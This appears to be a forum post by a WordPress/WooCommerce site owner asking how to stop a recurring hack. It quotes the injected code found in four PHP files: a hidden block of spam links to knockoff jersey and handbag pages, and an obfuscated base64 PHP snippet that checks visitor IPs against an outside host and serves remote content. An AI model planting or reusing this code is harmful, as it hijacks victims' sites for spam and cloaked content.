I have a website created using WordPress and used WooCommerce as the cart plugin. Recently I found it hacked, as it responded to an AJAX request with a HTML code, which should receive a JSON object as the response. As I check the source files, no files were replaced, but I found some unusual codes appended at the end inside 4 php files, including
- wp-blog-header.php in the root directory
- bookmark.php in wp-includes directory
- header.php and footer.php in the theme directory
Following is the code that I found.
echo '<html>
<div style=\'left: -3565px; position: absolute; top: -4812px\'>
<a href="http://pdfagent.info/Youth-Soccer-Jerseys-Wholesale.html">Youth Soccer Jerseys Wholesale</a>
<a href="http://ryanarnoldrocks.com/Buy-NFL-Jerseys-Wholesale.html">Buy NFL Jerseys Wholesale</a>
<a href="http://bodywrapsofplano.com/Cheap-Raider-Jerseys.html">Cheap Raider Jerseys</a>
<a href="http://mobilfotosplus.com/Coach-Canada-Stores-Online.html">Coach Canada Stores Online</a>
<a href="http://www.officialauthenticcoltsshop.com/Super-Bowl-Andrew-Luck-Jersey">Womens Andrew Luck Limited Super Bowl Jersey</a>
<a href="http://picklex20.com/Jerseys-For-Cheap.html">Jerseys For Cheap</a>
<a href="http://sevyamultimedia.com/Cheap-Youth-Soccer-Jerseys.html">Cheap Youth Soccer Jerseys</a>
<a href="http://www.rdbutlerlaw.com/Cycling-Jerseys-Cheap.html">Cycling Jerseys Cheap</a>
<a href="http://www.patriotsauthenticofficialonline.com/Super-Bowl-Rob-Gronkowski-Jersey">Kids Rob Gronkowski Pink Jersey</a>
<a href="http://www.suehenry.biz/Coach-Handbags-Marketing-Strategy.html">Coach Handbags Marketing Strategy</a>
<a href="http://seo-toronto.net/Coach-Purses-Numbers.html">Coach Purses Numbers</a>
<a href="http://wegototheo.com/Wholesale-Baseball-Jerseys.html">Wholesale Baseball Jerseys</a>
<a href="http://www.seahawksofficialonlinestore.com/Super-Bowl-Bobby-Wagner-Jersey">Youth Bobby Wagner Seahawks Jersey</a>
<a href="http://kitf.org/Coach-Glasses-Outlet.html">Coach Glasses Outlet</a>
<a href="http://www.nflpackersofficialstore.com/Super-Bowl-Randall-Cobb-Jersey">Randall Cobb Navy Super Bowl Jersey</a>
<a href="http://rncsolutions.com/Cheap-Hockey-Jerseys-China.html">Cheap Hockey Jerseys China</a>
<a href="http://www.qualityhomeservices.com/Coach-Factory-Kenosha-Wi.html">Coach Factory Kenosha Wi</a>
<a href="http://www.proland.com/Wholesale-Hockey-Jerseys.html">Wholesale Hockey Jerseys</a>
<a href="http://www.tamarinent.com/Buy-Jerseys-Cheap.html">Buy Jerseys Cheap</a>
<a href="http://www.masterthedashdiet.com/Cheap-Dallas-Stars-Jerseys.html">Cheap Dallas Stars Jerseys</a>
<a href="http://www.pappasdelaney.com/Cheap-Kids-NFL-Jerseys.html">Cheap Kids NFL Jerseys</a>
<a href="http://pourlespme.com/Cheap-Baseball-Jerseys-From-China.html">Cheap Baseball Jerseys From China</a>
<a href="http://studiovideo.com/Coach-Factory-National-Harbor.html">Coach Factory National Harbor</a>
</div></html>';
And I found following code which is not wordpress.
function q0($h1){$w2=curl_init();curl_setopt($w2,CURLOPT_URL,$h1);curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);$i3=curl_exec($w2);return $i3;}$h1=base64_decode('aHR0cDovL3d3dy5ncmVlbmhlYXJ0dWFlLmNvbS93cC1pbmNsdWRlcy9saWNlbnNlLnR4dA==');$d4=file_get_contents(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('Lw==') ||$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('L2luZGV4LnBocA==')){if($d4){if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo file_get_contents($h1);exit;}}else{$d4=q0(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo q0($h1);exit;}}}
I cleaned up those files and changed wp-admin, cPanel and FTP passwords, but the above code showed up in those files, but this time with different links.
I'm still trying to figure out if there is a script within the server which exploits the source files.
Are there any plugins or something that I should use to prevent this?